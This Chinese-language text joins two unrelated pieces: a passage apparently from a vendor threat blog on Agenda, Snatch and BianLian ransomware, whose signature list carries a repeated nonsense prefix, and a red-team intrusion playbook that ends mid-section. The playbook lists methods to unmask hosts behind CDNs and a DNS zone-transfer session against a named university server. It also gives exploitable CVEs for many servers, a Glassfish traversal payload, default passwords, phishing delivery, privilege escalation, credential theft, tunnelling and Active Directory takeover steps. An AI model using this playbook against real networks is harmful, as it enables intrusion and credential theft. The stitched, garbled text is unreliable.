據報導,Agenda勒索軟件的感染載體是通過使用竊取的憑證登錄到面向公眾的服務器。然後,攻擊者通過受害者的網絡傳播,攻擊其他計算機。一旦攻擊者獲得網絡上臨界數量的設備的訪問權,Agenda勒索軟件就會被部署到受攻擊的設備上。

為了規避反病毒解決方案的檢測,勒索軟件以安全模式加密文件。這種技術已在其他臭名昭著的勒索軟件家族中觀察到,例如REvil、BlackMatter 和AvosLocker。附加到加密文件的文件擴展名因變體而異。例如,如果勒索軟件變種使用“.fortinet”作為文件擴展名,“blog.docx”將更改為“blog.fortinet”。它的勒索通知的名稱以它添加到受影響文件的文件擴展名開始,然後是“-RECOVER-README.txt”。

9.png

Agenda勒索軟件留下的勒索信

反病毒簽名通過FortiGuard的Web過濾、防病毒、FortiMail、forclient和FortiEDR服務,Fortinet客戶已經可以免受這些惡意軟件變體的攻擊,如下所示:

SnatchFortiGuard Labs 檢測到本文中描述的最新的Snatch勒索軟件變體,具有以下反病毒簽名:

W64/Filecoder.D083 ! tr.ransom

以下反病毒特徵可以檢測到已知的“Snatch”勒索軟件變體樣本:

马云惹不起马云W64/Snatch.A!tr.ransom

马云惹不起马云W32/Snatch.B!tr

马云惹不起马云W32/Snatch.7991!tr.ransom

马云惹不起马云W64/Snatch.BD11!tr.ransom

马云惹不起马云W32/Snatch.C09B!tr.ransom

马云惹不起马云W64/Ransom.A!tr

马云惹不起马云W32/Filecoder.A!tr.ransom

马云惹不起马云W32/Filecoder.NYH!tr

马云惹不起马云W32/Filecoder.NYH!tr.ransom

马云惹不起马云W32/Filecoder.NVR!tr.ransom

马云惹不起马云W32/Filecoder.74A0!tr.ransom

马云惹不起马云W64/Filecoder.D083!tr.ransom

马云惹不起马云W64/Filecoder.AA!tr.ransom

马云惹不起马云W32/Crypmod.ADEJ!tr.ransom

马云惹不起马云W32/DelShad.AM!tr.ransom

马云惹不起马云W32/Trojan_Ransom.AB!tr

马云惹不起马云W32/PossibleThreatBianLianFortiGuard實驗室檢測已知的BianLian勒索軟件樣本,其特徵如下:

W32/Filecoder.BT!tr.ransomAgendaFortiGuard實驗室通過以下反病毒簽名檢測到已知的Agenda勒索軟件變體:

W32/Agent.AK!tr.ransom

W32/PossibleThreat緩解措施1.由於易於中斷、對日常運營的破壞、對組織聲譽的潛在影響,以及不必要的破壞或發布個人身份信息(PII)等,保持所有AV和IPS簽名的最新是至關重要的;

2.由於大多數勒索軟件是通過網絡釣魚發送的,組織應該考慮利用旨在培訓用戶了解和檢測網絡釣魚威脅的Fortinet解決方案;

3.FortiPhish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕,並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強適當的做法。

4.不支付贖金。像CISA、NCSC、FBI和HHS這樣的組織警告勒索軟件受害者不要支付贖金,部分原因是支付並不能保證文件會被恢復。根據美國財政部外國資產控制辦公室(OFAC)的一項建議,贖金支付還可能鼓勵對手將目標鎖定在其他組織,鼓勵其他攻擊者傳播勒索軟件。

日常流程简要说明

入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护

0x01 入口权限获取 [ 前期侦察,搜集阶段本身就不存在太多可防御的点,非防御重心 ]

1.绕CDN找出目标所有真实ip段
(1).通过全国多个PING,查看IP地址是否唯一来判断是否存在CDN
http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://www.17ce.com/
https://www.cdnplanet.com/tools/cdnfinder/
(2).通过之前的DNS绑定历史记录来查找真实IP地址
https://x.threatbook.cn/
https://viewdns.info/
https://www.ip138.com/
http://toolbar.netcraft.com/site_report?url=
https://securitytrails.com/
(3).通过获取多个子域名,并批量对多个子域名进行ping,可判断该子域名的IP段就是真实IP段(主站用了CND,而子域名分站不用Cdn解析)
Layer子域名挖掘机/GoogleHacking
https://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
(4).利用SSL证书寻找真实原始IP
https://censys.io/
https://crt.sh/
(5).使用国外主机解析域名
https://asm.ca.com/zh_cn/ping.php
https://asm.saas.broadcom.com/zh_cn/register.php
https://dnscheck.pingdom.com
(6).网站漏洞查找如phpinfo或者github敏感信息泄露或者Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露
(7).网站邮件订阅查找
RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
(8).入侵CDN,通过漏洞或者或者社工弱口令进入。
(9).通过ZMAP和Zgrab全网扫描获取真实IP
获取IP段:
https://www.ip2location.com/free/visitor-blocker
https://www.ipdeny.com/ipblocks/
https://www.t00ls.net/articles-40631.html(Zgrab)
https://levyhsu.com/2017/05/%e5%88%a9%e7%94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/
http://bobao.360.cn/learning/detail/211.html(ZMAP)
(10).网络空间安全引擎搜索
钟馗之眼:https://www.zoomeye.org
Shodan:https://www.shodan.io
Fofa:https://fofa.s
(11).奇特的 ping
如ping www.163.com,如果ping 163.con就可以绕过
(12).可以ping以前的旧的域名
(13).F5 LTM解码法
当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip
2.找目标的各种Web管理后台登录口
(1)批量抓取目标所有真实C段 Web banner
工具:iisput
(2).批量对目标所有真实C段进行基础服务端口扫描探测识别
工具:御剑端口扫描,Goby
(3).尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破
DNS域传输:
C:\Users\lj>nslookup
默认服务器:  UnKnown
Address:  211.82.100.1
> server dns1.thnu.edu.cn
默认服务器:  dns1.thnu.edu.cn
Address:  125.223.168.5
> ls thnu.edu.cn
子域名爆破:
Layer
(4).批量抓取目标所有子域 Web banner
Layer
(5)、批量对目标所有子域集中进行基础服务端口探测识别
工具:御剑端口扫描,Goby
(6)批量识别目标所有存活Web站点的Web程序指纹及其详细版本
https://github.com/EdgeSecurityTeam/EHole
https://github.com/zhzyker/vulmap 
http://finger.tidesec.com/
http://whatweb.bugscaner.com/look/
https://fp.shuziguanxing.com/#/
https://www.yunsee.cn/
(6)从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"
https://github.com/0xbug/Hawkeye
https://github.com/FeeiCN/GSIL
(6)从网盘/百度文库 中查找目标泄露的各类 敏感文件 及 账号密码
http://www.daysou.com/(网盘搜索) 
(7)从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]
https://www.madebug.net/
(8)目标Svn里泄露的各类 敏感文件
工具:Seay SVN漏洞利用工具
(9)网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...]
 工具:御剑目录,dirsearch
https://github.com/foryujian/yjdirscan
https://github.com/maurosoria/dirsearch 
(10)目标站点自身在前端代码中泄露的各种敏感信息
(11)fofa / shodan / bing / google  hacking 深度利用
(12)搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ]
学生学号官网网站以及贴吧论坛收集,员工工号到官网网站或者社工库和github上搜索
(13)目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息
(14)目标微信小程序以及公众号
(15)分析目标app Web请求
(16)借助js探针搜集目标内网信息
(17)想办法混入目标的各种 内部QQ群 / 微信群
(18)分析目标直接供应商 [尤其是技术外包]
(19)根据前面已搜集到的各类信息制作有针对性的弱口令字典
https://xsshs.cn/xss.php?do=pass
(20)目标所用 Waf 种类识别 与 绕过
https://github.com/EnableSecurity/wafw00f(waf识别) 
(21)BypassWAF 文件上传 / 读取 / 下载
(22) BypassWAF Sql注入
(23) BypassWAF RCE
(24) BypassWAF 各类Java Web中间件已知Nday漏洞利用 (25)BypassWAF Webshell 免杀 其它更多 , 待补充修正...

0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ]

此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用
如下已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向
故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序""web组件"

针对各类Java中间件的各种已知Nday漏洞利用

不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑
所以拿到的shell权限一般也非常高,通常都直接是服务器权限
尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限
关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的
  • Struts2
Struts2-005
Struts2-008
Struts2-009
Struts2-013
Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高)
Struts2-019
Struts2-020
Struts2-devmode
Struts2-032
Struts2-033
Struts2-037
Struts2-045
Struts2-046
Struts2-048
Struts2-052
Struts2-053
Struts2-057
利用工具:
https://github.com/HatBoy/Struts2-Scan
  • weblogic
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210

SSRF
控制台弱口令,部署webshell
工具检查和漏洞利用:
https://github.com/0xn0ne/weblogicScanner(工具检查)
https://github.com/zhzyker/exphub/tree/master/weblogic (工具利用) 
  • Jboss
CVE-2015-7501
CVE-2017-7504
CVE-2017-12149

未授权访问,部署webshell
控制台弱口令,部署webshell
利用工具:
https://github.com/joaomatosf/jexboss
https://github.com/joaomatosf/JavaDeserH2HC
  • wildfly [ jboss 7.x 改名为 wildfly ]
控制台弱口令,部署webshell
  • Tomcat
CVE-2016-8735
CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ]
CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ]

控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ]
漏洞利用总结:
https://blog.csdn.net/weixin_42918771/article/details/104844367
https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUA
https://saucer-man.com/information_security/507.html#cl-11  
  • Jekins
CVE-2018-1999002 [任意文件读取]

未授权访问,任意命令执行
控制台弱口令,任意命令执行
漏洞利用总结:
https://www.cnblogs.com/junsec/p/11593556.html
https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/
https://github.com/gquere/pwn_jenkins 
  • ElasticSearch
CVE-2014-3120 [专门针对老版本(无沙盒)RCE]
CVE-2015-1427 [Groovy RCE]
CVE-2015-3337 [任意文件读取]

未授权访问,敏感信息泄露
漏洞总结:
https://jishuin.proginn.com/p/763bfbd3aa0d
https://mp.weixin.qq.com/s?__biz=MzAwMjgwMTU1Mg==&mid=2247484799&idx=2&sn=b91f5bc7a31f5786a66f39599ea44bff
https://blog.csdn.net/u011066706/article/details/51175761  
https://www.cnblogs.com/AtesetEnginner/p/12060537.html 
  • RabbitMQ
弱口令

默认账号密码都是guest/guest(默认端口:15672,25672,15692)

  • Glassfish
任意文件读取 [ 低版本 ]
控制台弱口令,部署webshell
漏洞利用:
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
  • IBM Websphere
Java 反序列化
控制台弱口令,部署webshell
漏洞利用
https://www.lxhsec.com/2019/03/04/middleware/
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/WebSphere/CVE-2020-4643%20IBM%20WebSphere%E5%AD%98%E5%9C%A8XXE%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
https://github.com/Ares-X/VulWiki
https://xz.aliyun.com/t/8248   
  • Axis2
任意文件读取
目录遍历
漏洞利用:
https://xz.aliyun.com/t/6196
https://paper.seebug.org/1489/#23-axis2
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Apache%20Axis/%EF%BC%88CVE-2019-0227%EF%BC%89Apache%20Axis%201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
https://github.com/CaledoniaProject/AxisInvoker
https://github.com/Fnzer0/Axis-RCE
https://paper.seebug.org/1489/      
  • Apache ActiveMQ
未授权访问,5.12 之前的版本 fileserver存在 PUT任意写
CVE-2015-5254
漏洞利用:
http://wiki.sentrylab.cn/0day/ActiveMQ/3.html
https://www.freebuf.com/column/161188.html
https://www.taodudu.cc/news/show-2345492.html   
  • Apache Solr
CVE-2017-12629
CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ]
漏洞利用:
https://xz.aliyun.com/search?keyword=Solr
https://www.jianshu.com/p/43e7f13e2058
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/
https://cloud.tencent.com/developer/article/1810723   
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Solr/?h=Apache%20Solr 
  • Apache Zookeeper
未授权访问,敏感信息泄露
  • Apache Shiro反序列化
  • fastjson <= 1.2.47 反序列化利用

针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]

AppServ
Xampp
宝塔
PhpStudy		
......

针对各类开源程序的 已知Nday漏洞利用

Dedecms 	后台弱口令,系列已知nday漏洞利用
thinkphp 5.x 	后台弱口令,系列已知nday漏洞利用
phpcms 		后台弱口令,系列已知nday漏洞利用
ecshop 		后台弱口令,系列已知nday漏洞利用
Metinfo 	后台弱口令,系列已知nday漏洞利用
discuz 		后台弱口令,系列已知nday漏洞利用
帝国cms 	后台弱口令,系列已知nday漏洞利用
phpmyadmin 	数据库弱口令,系列已知nday漏洞利用
wordpress 	后台弱口令,系列已知nday漏洞利用
joomla 		后台弱口令,系列已知nday漏洞利用
drupal 		CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用
......

针对其它各类Web组件的 已知Nday漏洞利用

  • IIS 6.0 RCE
短文件漏洞
PUT 任意写
Webdav RCE CVE-2017-7269
  • 禅道项目管理系统
SQL注入
文件读取
远程执行
  • 通达OA
SQL注入
任意上传
  • Exchange
利用接口进行邮箱用户名枚举
针对各个接口的弱口令爆破
CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ]
....
  • Zimbra [ XXE + SSRF => RCE ]
CVE-2013-7091
CVE-2016-9924
CVE-2019-9670
  • Citrix
CVE-2019-19781
  • Jumpserver
身份验证绕过
  • Zabbix
CVE-2017-2824
SQL注入 [ 2.0 老版本 ]
控制台弱口令,敏感机器信息泄露
  • Cacti
低版本 SQL注入
控制台弱口令
  • Nagios
CVE-2016-9565
控制台弱口令
  • Webmin RCE
CVE-2019-15107 
  • PHPMailer
CVE-2016-10033
  • 泛微OA远程代码执行
  • 金蝶OA SQL注入
  • Coremail 敏感文件泄露
  • UEditor 任意文件上传
  • OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ]
  • 破壳漏洞 [ Shellshock ]

各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]

后台弱口令
SSRF
sql注入
越权
命令 / 代码执行 / 反序列化
任意文件上传 / 下载 / 读取
包含
XSS(实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命)
业务逻辑漏洞

针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用

  • Pulse Secure VPN
CVE-2019-11510 [ 任意文件读取 ]
  • Fortinet VPN
CVE-2018-13379 [ 文件读取 ]
  • Sangfor Vpn RCE

0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用,防御重点 ( "重中之重" ) ]

此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 
同样,已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序
如下,就每个端口的具体攻击利用方式,进行了简要说明
  • Top Port List
Mssql 	  [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
SMB       [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ]
WMI       [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ]
WinRM	  [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ]
RDP       [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ]
SSH       [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ]
ORACLE    [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
Mysql     [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ]
REDIS	  [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ]
POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ]
LDAP      [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ]
SMTP      [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ]
POP3      [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ]
IMAP      [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ]
Exchange  [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ]
VNC       [ 默认工作在tcp 5900端口, 弱口令 ]
FTP       [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ]
Rsync     [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ]
Mongodb   [ 默认工作在tcp 27017端口, 未授权, 弱口令 ]
TELNET    [ 默认工作在tcp 23端口, 弱口令, 后门植入 ]
SVN       [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ]
JAVA RMI  [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ]
CouchDB   [ 默认工作在tcp 5984端口, 未授权访问 ]

0x04 入口权限获取

传统钓鱼攻击利用,实际护网场景中用的非常频繁,细节非常多,此处不一一列举,防御重点

  • 发信前期准备
枚举有效的目标邮箱用户名列表
批量探测目标邮箱弱口令
伪造发信人 [ 发信邮服搭建 ]
钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ]
......
  • 典型投递方式
第一种,直接给目标发送各种常规木马信 

传统宏利用
捆绑
exe[zip,7z]
lnk
chm
自解压
木马链接
OLE
CVE-2017-11882 [ 利用漏洞触发 ]
...
第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 

Vpn
Mail
OA
Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ]
......

0x05 主机安全 [ 提权利用,防御重点 ]

以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及
  • Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ]
BypassUAC [ win7 / 8  / 8.1 / 10 ]
MS14-058[KB3000061]				    [重点]
MS14-068[KB3011780]				    [重点]
ms15-051[KB3045171]				    [重点]
MS15-077[KB3077657]				    [重点]
MS16-032[KB3124280]				    [重点]
ms16-075					    [重点]
MS16-135[KB3199135]				    [重点]
MS17-010[KB4013389]				    [重点]
cve-2019-0708					    [重点]
CVE-2019-0803					    [重点]
CVE-2019-1322 & CVE-2019-1405			    [重点]
cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ]	    [重点]		
  • linux 内核漏洞 本地提权 [ linux-exploit-suggester ]
CVE-2016-5195					    [重点]
CVE-2017-16995
CVE-2019-13272
  • 利用各类第三方服务 / 软件工具提权
Mssql 						    [重点]
Oracle         					    [重点]
Mysql
各类第三方软件dll劫持 				    [重点]
suid权限                        
计划任务
各种错误服务配置利用

0x06 内网安全 [ 敏感信息搜集,防御重点,可在此项严格限制各种系统内置命令执行 ]

  • 搜集当前已控"跳板机"的各类敏感信息
注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述

查看当前shell权限 及 详细系统内核版本
获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip
获取当前系统最近的用户登录记录
获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ]
获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息
获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ]
获取本机 rdp / ssh 端口开启状态 及 其默认端口号
获取本机所有用户的rdp外连记录
获取本机的所有SSH登录记录
获取当前系统所有登录成功的日志 [ 针对windows ]
获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ]
获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录
获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ]
获取当前用户 桌面 及 回收站 里的所有文件列表
获取当前系统的所有存在suid权限的二进制程序
获取当前系统代理 [ ip & 端口 ]
获取当前系统所有的自启动注册表项值
获取当前系统的所有 ipc 连接 及 已启用共享
获取当前系统的所有挂载[mount]
获取当前系统的防火墙状态
获取当前系统所有分区/盘符及其详细使用情况
获取本机的累计开机时长
获取本机arp / dns缓存
获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ]
获取当前系统所有本地用户及组列表
获取当前系统host文件内容
获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ]
远程截屏捕捉目标用户敏感操作

由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作
  • 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布
  • 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描]
  • 针对内网的各种高危敏感服务定位["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]
  • 内网批量 Web Banner 抓取,获取关键目标业务系统如下
内网各种文件[共享]服务器
内网各类web服务器  [ 可用于后期留入口 ]
内网各类数据库服务器
内网邮件服务器  [ 可用于后期留入口 ]
内网Vpn服务器  [ 可用于后期留入口 ]
内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti...
内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端...
内网日志服务器
内网补丁服务器
内网各类OA,ERP,CRM,SRM,HR系统... 
内网打印服务器
内网 MES 系统 
内网虚拟化服务器 / 超融合平台 [Vmware ESX]
内网堡垒机...
内网运维,研发 部门员工的机器
内网路由,交换设备...
等等等...

针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现
通过在一些关键节点设备/服务器上部署探针搜集流量
再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的
  • 针对各类已知系统高危RCE漏洞的批量探测识别与利用
MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ]
MS17-010
CVE-2019-0708

其实针对此类漏洞的攻击利用识别,就显得比较直白了
通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断

0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ]

  • 主动密码搜集
注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的
此处不再赘述, 此项非防御重点, 因为压根也不好防

批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码"
   比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)...
想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表"
   比如, *.ls,*.doc,*.docx, *.txt....
抓取各类 "数据库客户端工具中保存各种数据库连接账号密码
   比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)]

抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ]
抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ]
抓取当前系统的所有 "用户token" [ Windows ]
抓取 "windows凭据管理器中保存的各类连接账号密码"
抓取 "MSTSC 客户端中保存的所有rdp连接账号密码"
抓取各类 "VNC客户端工具中保存的连接密码"
抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ]
抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty
抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器
抓取各类 "数据库表中保存的各类账号密码hash"
抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp...
抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird...
抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址"
抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"

  • 被动密码搜集 [ 等着管理员自己来送密码 ]
[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点]

Windows SSP [持久化/内存]
Hook PasswordChangeNotify [持久化/内存]
OWA 登录账号密码截获
截获mstsc.exe中输入的rdp连接账号密码
linux 别名记录利用
本机明文密码嗅探 [ http,ftp,pop3... ]
传统键盘记录
windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ]
  • Hash爆破:
Hashcat [ 完全拼GPU ] 

0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ,防御重点 ]

出网流量刺探
比如,http,dns,以及一些穿透性相对较好的tcp端口... 
这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器

常规 HTTP脚本代理
abptts,Neo-reGeorg,reGeorg,tunna,reduh...
不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行

SSH 隧道
加密端口转发,socks 实战用途非常灵活,此处不细说 ]

Rdp 隧道

反向SOCKS
nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 
工具基本都不免杀了,需要自行处理

正反向TCP 端口转发
非常多,就不一一列举, eg: nginx,netsh,socat,ew....

DNS加密隧道			

Web端口复用

需要明白的是,在一般的红队场景中
入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性

0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 ),提炼汇总,防御重点 ]

  • 针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]
获取当前域内的完整域管列表
获取当前域内的所有域控机器名列表
获取当前域内的所有DNS服务器机器名列表
获取当前域内的所有SPN
获取当前域内的所有OU
获取当前域内的所有用户 & 用户组列表
获取当前域信任关系 [ 跨域渗透 ]
获取当前域内所有机器的开机时间
获取当前域内网段及web站点
获取当前域内策略 [ 主要是为了了解密码策略 ]
获取当前域林
.......
  • 快速获取目标域控权限的一些常规手法
搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 
服务票据hash破解("尤其是域管用户的") [ kerberoast ]
批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ]
Kerberos 委派利用
爆破LDAP
Exchange特定ACL滥用
SSP 截获关键服务器登录密码
利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至
  抓到域管密码
  抓到域管令牌
DNSAdmin 组成员滥用 [ 加载执行恶意dll ]
LAPS
MS14-068 [ 如今实际中已很少遇到了 ]
LLMNR/NBNS欺骗  + SMB relay [ 真实在实战中其实用的并不多 ]
  • 域内后渗透敏感信息搜集分析
获取所有DNS记录
导出当前域的完整LDAP数据库
提取当前域的ntds.dit [ 域内账号密码数据库 ]
  Dcsync同步
  Volume Shadow Copy Service
  • 域内指定用户登录ip定位
利用OWA登录日志
利用域控服务器登录日志
指定服务银票 [ Silver Ticket ]
除此之外,就是下面的各类常规横向手法
  • 域内指定用户机器定向控制技巧
绑定用户登录脚本
利用GPO下发 [实际上,利用GPO能做的事情还非常非常多]
PTT [ 票据传递 ]
  • 针对域管的各种权限维持技巧
金票
Skeleton Key
DSRM密码同步
OWA后门
...
  • 域内Exchange 邮件数据脱取
利用Ews接口通过PTH的方式脱邮件

0x10 内网安全 [ 跨平台横向渗透 (远程执行),防御重点 ( "重中之重" ) ]

  • 从 Windows平台 横向至 Windows平台
注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限

